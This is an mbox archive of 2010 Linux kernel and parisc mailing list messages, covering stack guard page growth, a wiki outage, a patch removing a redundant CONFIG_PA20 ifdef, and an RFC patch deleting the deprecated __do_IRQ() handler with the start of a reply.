> This looks useful too ... but I can't see where the code is that
> made vm_start be PAGE_SIZE lower to begin with. I'd expect to have
> to make a matching change to make vm_end PAGE_SIZE higher for the
> VM_GROWSUP areas.

That's the fault path - the very check_stack_guard_page() logic itself.

In other words, nowhere do we _explicitly_ make the stack larger by
one page, but nowhere do we explicitly size the stack in the first
place! The stack grows by being populated, and every time a new page
is populated, check_stack_guard_page() will have expanded the stack
vma by one extra page.

                   Linus

From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc wiki is down
Date: Fri, 3 Sep 2010 19:43:13 -0400
Organization: nrc.ca
Lines: 11
Approved: news@gmane.org
Message-ID: <20100903234313.GA20205@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1283557398 1774 80.91.229.12 (3 Sep 2010 23:43:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 3 Sep 2010 23:43:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 04 01:43:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Orfuf-0002Z4-EH
	for glpp-linux-parisc@lo.gmane.org; Sat, 04 Sep 2010 01:43:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753009Ab0ICXnQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Sep 2010 19:43:16 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2194 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752517Ab0ICXnQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Sep 2010 19:43:16 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9E1E04CEF; Fri,  3 Sep 2010 19:43:14 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3065
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3065>

http://wiki.parisc-linux.org can't be reached.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc wiki is down
Date: Sat, 4 Sep 2010 13:54:10 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <ED93EF8F-B250-44C1-A700-E495031CB7F0@parisc-linux.org>
References: <20100903234313.GA20205@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1283601259 26891 80.91.229.12 (4 Sep 2010 11:54:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 4 Sep 2010 11:54:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 04 13:54:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OrrK5-0005HO-E8
	for glpp-linux-parisc@lo.gmane.org; Sat, 04 Sep 2010 13:54:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752017Ab0IDLyQ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Sep 2010 07:54:16 -0400
Original-Received: from mail-ww0-f42.google.com ([74.125.82.42]:33608 "EHLO
	mail-ww0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751733Ab0IDLyP convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Sep 2010 07:54:15 -0400
Original-Received: by wwj40 with SMTP id 40so67209wwj.1
        for <linux-parisc@vger.kernel.org>; Sat, 04 Sep 2010 04:54:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=3t+zTwABvqu67ZjSDIfuVa+NThl/KIl22wrmY0uYsPo=;
        b=brrLs3SAZSs5RtWaTPacirWt8qVxS33KX9B5yPntYOtRPhBUO1OKF7oCaX6xRgVowe
         INE1ZlNnUSlD2zkItHgZl9Q17ol5i1RD4y6T2inQEMB9PNNBXkcem0+5qebXXwWjLopp
         FnF8AbyOnTBzZpi1bMDSvwf/mectb6hIKtlxs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=G71lNV8HY2h3oN34AwKoojqF7z7CnhcSzJT5KbkKVkBvMqVIWSBbzL3eXF1ASoYFAs
         5PCjhxT3lOLUfvBw04dVbWw1R8MlHwSx/BRZZSStnwGG6L+aUEzaxf7U/OKEttVxwuqh
         Y4ZYWrxnfNZ3QNS4FHNyT1RtVTJU/POv45+Sw=
Original-Received: by 10.227.128.18 with SMTP id i18mr856452wbs.135.1283601254154;
        Sat, 04 Sep 2010 04:54:14 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id e31sm2585053wbe.5.2010.09.04.04.54.12
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 04 Sep 2010 04:54:12 -0700 (PDT)
In-Reply-To: <20100903234313.GA20205@hiauly1.hia.nrc.ca>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3066
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3066>

Le 4 sept. 10 =E0 01:43, John David Anglin a =E9crit :

> http://wiki.parisc-linux.org can't be reached.


Yes, sorry I forgot to send a notice to the m-l: today is the annual =20
High Voltage check-up @ESIEE. It will be brought back online in a few =20
hours, hopefully.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Dietrich <qy03fugy@stud.informatik.uni-erlangen.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 03/14] arch/parisc: Removing undead ifdef CONFIG_PA20
Date: Mon, 6 Sep 2010 16:36:06 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <27caeba6c5aeb0e5fffb339479ad1c87a1ec7ca3.1283782701.git.qy03fugy@stud.informatik.uni-erlangen.de>
References: <cover.1283782698.git.qy03fugy@stud.informatik.uni-erlangen.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1283783870 5900 80.91.229.12 (6 Sep 2010 14:37:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 6 Sep 2010 14:37:50 +0000 (UTC)
Cc: vamos-dev@i4.informatik.uni-erlangen.de
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Akinobu Mita <akinobu.mita@gmail.com>,
	linux-parisc@vger.kernel.org, li
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 06 16:37:47 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OscpO-0005Mk-LP
	for glk-linux-kernel-3@lo.gmane.org; Mon, 06 Sep 2010 16:37:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753611Ab0IFOgV (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 6 Sep 2010 10:36:21 -0400
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:33515 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753140Ab0IFOgJ (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 6 Sep 2010 10:36:09 -0400
Original-Received: from faui49q (faui49q.informatik.uni-erlangen.de [131.188.42.68])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id E10F15F292;
	Mon,  6 Sep 2010 16:36:06 +0200 (MEST)
Original-Received: by faui49q (sSMTP sendmail emulation); Mon, 06 Sep 2010 16:36:06 +0200
Content-Disposition: inline
In-Reply-To: <cover.1283782698.git.qy03fugy@stud.informatik.uni-erlangen.de>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1032436 gmane.linux.ports.parisc:3070
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3070>

The CONFIG_PA20 ifdef isn't necessary at this point, because it is
checked in an outer ifdef level already and has no effect here.

Signed-off-by: Christian Dietrich <qy03fugy@stud.informatik.uni-erlangen.de>
---
 arch/parisc/kernel/unaligned.c |    3 ---
 1 files changed, 0 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c
index 92d977b..234e368 100644
--- a/arch/parisc/kernel/unaligned.c
+++ b/arch/parisc/kernel/unaligned.c
@@ -619,15 +619,12 @@ void handle_unaligned(struct pt_regs *regs)
 		flop=1;
 		ret = emulate_std(regs, R2(regs->iir),1);
 		break;
-
-#ifdef CONFIG_PA20
 	case OPCODE_LDD_L:
 		ret = emulate_ldd(regs, R2(regs->iir),0);
 		break;
 	case OPCODE_STD_L:
 		ret = emulate_std(regs, R2(regs->iir),0);
 		break;
-#endif
 	}
 #endif
 	switch (regs->iir & OPCODE3_MASK)
-- 
1.7.0.4


From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
	__do_IRQ() code
Date: Wed, 08 Sep 2010 18:14:14 -0000
Lines: 287
Approved: news@gmane.org
Message-ID: <20100908152036.643594727@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1283969973 16487 80.91.229.12 (8 Sep 2010 18:19:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 18:19:33 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Sep 08 20:19:28 2010
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1OtPF0-0004i9-MG
	for glpi-linux-ia64-2@lo.gmane.org; Wed, 08 Sep 2010 20:19:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752754Ab0IHSTZ (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 8 Sep 2010 14:19:25 -0400
Original-Received: from www.tglx.de ([62.245.132.106]:58213 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751912Ab0IHSTX (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Wed, 8 Sep 2010 14:19:23 -0400
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id o88IEEtT006631;
	Wed, 8 Sep 2010 20:14:14 +0200
User-Agent: quilt/0.47-1
Content-Disposition: inline; filename=genirq-troll-patch.patch
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21398 gmane.linux.kernel:1033499 gmane.linux.ports.alpha:1093 gmane.linux.ports.parisc:3071 gmane.linux.kernel.cross-arch:7513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3071>

__do_IRQ() has been deprecated after a two years migration phase in
commit 0e57aa1. Since then another 18 month have gone by.

So here's the status three and a half years after the flow based
infrastructure was merged:

 The following architectures are fully converted to the new flow
 handler code:

  arm, avr32, blackfin, frv, microblaze, mips, mn10300, powerpc, score, sh,
  sparc 64bit, tile, x86, xtensa

  (avr32 and xtensa should set CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
  though)

 The following architectures are not using the generic interrupt
 infrastructure at all and are therefor unaffected:

  s390, m68k, sparc 32bit

 The following architectures are still using __do_IRQ():

  alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um

So now the question arises what to do with __do_IRQ().

Removing it would be the right thing, but that'll break 8 archs, so
it's probably not considered a good idea, though for most of them the
conversion should be reasonably trivial.

I'm happy to move that code into kernel/irq/cruft.c forever if there
is no way to get the remaining users converted in the forseeable
future. It looks like they can cope with the annoying build warning
nicely.

Either that or moving everything what breaks into staging/arch/* and
hand it over to GregKH :)

Thoughts ?

Not-Signed-off-by-yet: Thomas Gleixner <tglx@linutronix.de>

---
 Documentation/DocBook/genericirq.tmpl      |   29 -------
 Documentation/feature-removal-schedule.txt |    8 --
 include/linux/irq.h                        |   20 -----
 kernel/irq/handle.c                        |  111 -----------------------------
 4 files changed, 2 insertions(+), 166 deletions(-)

Index: linux-2.6/Documentation/DocBook/genericirq.tmpl
===================================================================
--- linux-2.6.orig/Documentation/DocBook/genericirq.tmpl
+++ linux-2.6/Documentation/DocBook/genericirq.tmpl
@@ -147,13 +147,6 @@
 	use a generic irq-flow implementation for 'level type' interrupts
 	and add a (sub)architecture specific 'edge type' implementation.
 	</para>
-	<para>
-	To make the transition to the new model easier and prevent the
-	breakage of existing implementations, the __do_IRQ() super-handler
-	is still available. This leads to a kind of duality for the time
-	being. Over time the new model should be used in more and more
-	architectures, as it enables smaller and cleaner IRQ subsystems.
-	</para>
   </chapter>
   <chapter id="bugs">
     <title>Known Bugs And Assumptions</title>
@@ -402,28 +395,6 @@ desc->chip->end();
     </sect1>
   </chapter>
 
-  <chapter id="doirq">
-     <title>__do_IRQ entry point</title>
-     <para>
- 	The original implementation __do_IRQ() is an alternative entry
-	point for all types of interrupts.
-     </para>
-     <para>
-	This handler turned out to be not suitable for all
-	interrupt hardware and was therefore reimplemented with split
-	functionality for egde/level/simple/percpu interrupts. This is not
-	only a functional optimization. It also shortens code paths for
-	interrupts.
-      </para>
-      <para>
-	To make use of the split implementation, replace the call to
-	__do_IRQ by a call to desc->handle_irq() and associate
-        the appropriate handler function to desc->handle_irq().
-	In most cases the generic handler implementations should
-	be sufficient.
-     </para>
-  </chapter>
-
   <chapter id="locking">
      <title>Locking on SMP</title>
      <para>
Index: linux-2.6/Documentation/feature-removal-schedule.txt
===================================================================
--- linux-2.6.orig/Documentation/feature-removal-schedule.txt
+++ linux-2.6/Documentation/feature-removal-schedule.txt
@@ -315,14 +315,6 @@ Who:	Dave Jones <davej@redhat.com>, Matt
 
 -----------------------------
 
-What:	__do_IRQ all in one fits nothing interrupt handler
-When:	2.6.32
-Why:	__do_IRQ was kept for easy migration to the type flow handlers.
-	More than two years of migration time is enough.
-Who:	Thomas Gleixner <tglx@linutronix.de>
-
------------------------------
-
 What:	fakephp and associated sysfs files in /sys/bus/pci/slots/
 When:	2011
 Why:	In 2.6.27, the semantics of /sys/bus/pci/slots was redefined to
Index: linux-2.6/include/linux/irq.h
===================================================================
--- linux-2.6.orig/include/linux/irq.h
+++ linux-2.6/include/linux/irq.h
@@ -150,7 +150,7 @@ struct irq_2_iommu;
  * @timer_rand_state:	pointer to timer rand state struct
  * @kstat_irqs:		irq stats per cpu
  * @irq_2_iommu:	iommu with this irq
- * @handle_irq:		highlevel irq-events handler [if NULL, __do_IRQ()]
+ * @handle_irq:		highlevel irq-events handler
  * @chip:		low level interrupt hardware access
  * @msi_desc:		MSI descriptor
  * @handler_data:	per-IRQ data for the irq_chip methods
@@ -294,28 +294,12 @@ extern void handle_bad_irq(unsigned int 
 extern void handle_nested_irq(unsigned int irq);
 
 /*
- * Monolithic do_IRQ implementation.
- */
-#ifndef CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
-extern unsigned int __do_IRQ(unsigned int irq);
-#endif
-
-/*
  * Architectures call this to let the generic IRQ layer
- * handle an interrupt. If the descriptor is attached to an
- * irqchip-style controller then we call the ->handle_irq() handler,
- * and it calls __do_IRQ() if it's attached to an irqtype-style controller.
+ * handle an interrupt.
  */
 static inline void generic_handle_irq_desc(unsigned int irq, struct irq_desc *desc)
 {
-#ifdef CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
 	desc->handle_irq(irq, desc);
-#else
-	if (likely(desc->handle_irq))
-		desc->handle_irq(irq, desc);
-	else
-		__do_IRQ(irq);
-#endif
 }
 
 static inline void generic_handle_irq(unsigned int irq)
Index: linux-2.6/kernel/irq/handle.c
===================================================================
--- linux-2.6.orig/kernel/irq/handle.c
+++ linux-2.6/kernel/irq/handle.c
@@ -426,117 +426,6 @@ irqreturn_t handle_IRQ_event(unsigned in
 	return retval;
 }
 
-#ifndef CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
-
-#ifdef CONFIG_ENABLE_WARN_DEPRECATED
-# warning __do_IRQ is deprecated. Please convert to proper flow handlers
-#endif
-
-/**
- * __do_IRQ - original all in one highlevel IRQ handler
- * @irq:	the interrupt number
- *
- * __do_IRQ handles all normal device IRQ's (the special
- * SMP cross-CPU interrupts have their own specific
- * handlers).
- *
- * This is the original x86 implementation which is used for every
- * interrupt type.
- */
-unsigned int __do_IRQ(unsigned int irq)
-{
-	struct irq_desc *desc = irq_to_desc(irq);
-	struct irqaction *action;
-	unsigned int status;
-
-	kstat_incr_irqs_this_cpu(irq, desc);
-
-	if (CHECK_IRQ_PER_CPU(desc->status)) {
-		irqreturn_t action_ret;
-
-		/*
-		 * No locking required for CPU-local interrupts:
-		 */
-		if (desc->chip->ack)
-			desc->chip->ack(irq);
-		if (likely(!(desc->status & IRQ_DISABLED))) {
-			action_ret = handle_IRQ_event(irq, desc->action);
-			if (!noirqdebug)
-				note_interrupt(irq, desc, action_ret);
-		}
-		desc->chip->end(irq);
-		return 1;
-	}
-
-	raw_spin_lock(&desc->lock);
-	if (desc->chip->ack)
-		desc->chip->ack(irq);
-	/*
-	 * REPLAY is when Linux resends an IRQ that was dropped earlier
-	 * WAITING is used by probe to mark irqs that are being tested
-	 */
-	status = desc->status & ~(IRQ_REPLAY | IRQ_WAITING);
-	status |= IRQ_PENDING; /* we _want_ to handle it */
-
-	/*
-	 * If the IRQ is disabled for whatever reason, we cannot
-	 * use the action we have.
-	 */
-	action = NULL;
-	if (likely(!(status & (IRQ_DISABLED | IRQ_INPROGRESS)))) {
-		action = desc->action;
-		status &= ~IRQ_PENDING; /* we commit to handling */
-		status |= IRQ_INPROGRESS; /* we are handling it */
-	}
-	desc->status = status;
-
-	/*
-	 * If there is no IRQ handler or it was disabled, exit early.
-	 * Since we set PENDING, if another processor is handling
-	 * a different instance of this same irq, the other processor
-	 * will take care of it.
-	 */
-	if (unlikely(!action))
-		goto out;
-
-	/*
-	 * Edge triggered interrupts need to remember
-	 * pending events.
-	 * This applies to any hw interrupts that allow a second
-	 * instance of the same irq to arrive while we are in do_IRQ
-	 * or in the handler. But the code here only handles the _second_
-	 * instance of the irq, not the third or fourth. So it is mostly
-	 * useful for irq hardware that does not mask cleanly in an
-	 * SMP environment.
-	 */
-	for (;;) {
-		irqreturn_t action_ret;
-
-		raw_spin_unlock(&desc->lock);
-
-		action_ret = handle_IRQ_event(irq, action);
-		if (!noirqdebug)
-			note_interrupt(irq, desc, action_ret);
-
-		raw_spin_lock(&desc->lock);
-		if (likely(!(desc->status & IRQ_PENDING)))
-			break;
-		desc->status &= ~IRQ_PENDING;
-	}
-	desc->status &= ~IRQ_INPROGRESS;
-
-out:
-	/*
-	 * The ->end() handler has to deal with interrupts which got
-	 * disabled while the handler was running.
-	 */
-	desc->chip->end(irq);
-	raw_spin_unlock(&desc->lock);
-
-	return 1;
-}
-#endif
-
 void early_init_irq_lock_class(void)
 {
 	struct irq_desc *desc;


--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 08 Sep 2010 13:51:59 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <1283971919.11763.35.camel@mulgrave.site>
References: <20100908152036.643594727@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1283971934 25840 80.91.229.12 (8 Sep 2010 18:52:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 18:52:14 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 08 20:52:10 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OtPkf-00076X-El
	for glka-linux-arch@lo.gmane.org; Wed, 08 Sep 2010 20:52:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753000Ab0IHSwI (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 8 Sep 2010 14:52:08 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57480 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752536Ab0IHSwH (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 8 Sep 2010 14:52:07 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D3BD08EE105;
	Wed,  8 Sep 2010 11:52:04 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8q7k58xbvkgo; Wed,  8 Sep 2010 11:52:04 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id DEF428EE100;
	Wed,  8 Sep 2010 11:52:02 -0700 (PDT)
In-Reply-To: <20100908152036.643594727@linutronix.de>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7514 gmane.linux.kernel:1033510 gmane.linux.ports.alpha:1094 gmane.linux.ports.ia64:21399 gmane.linux.ports.parisc:3072
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3072>

On Wed, 2010-09-08 at 18:14 +0000, Thomas Gleixner wrote:
> plain text document attachment (genirq-troll-patch.patch)
> __do_IRQ() has been deprecated after a two years migration phase in
> commit 0e57aa1. Since then another 18 month have gone by.
> 
> So here's the status three and a half years after the flow based
> infrastructure was merged:
> 
>  The following architectures are fully converted to the new flow
>  handler code:
> 
>   arm, avr32, blackfin, frv, microblaze, mips, mn10300, powerpc, score, sh,
>   sparc 64bit, tile, x86, xtensa
> 
>   (avr32 and xtensa should set CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
>   though)
> 
>  The following architectures are not using the generic interrupt
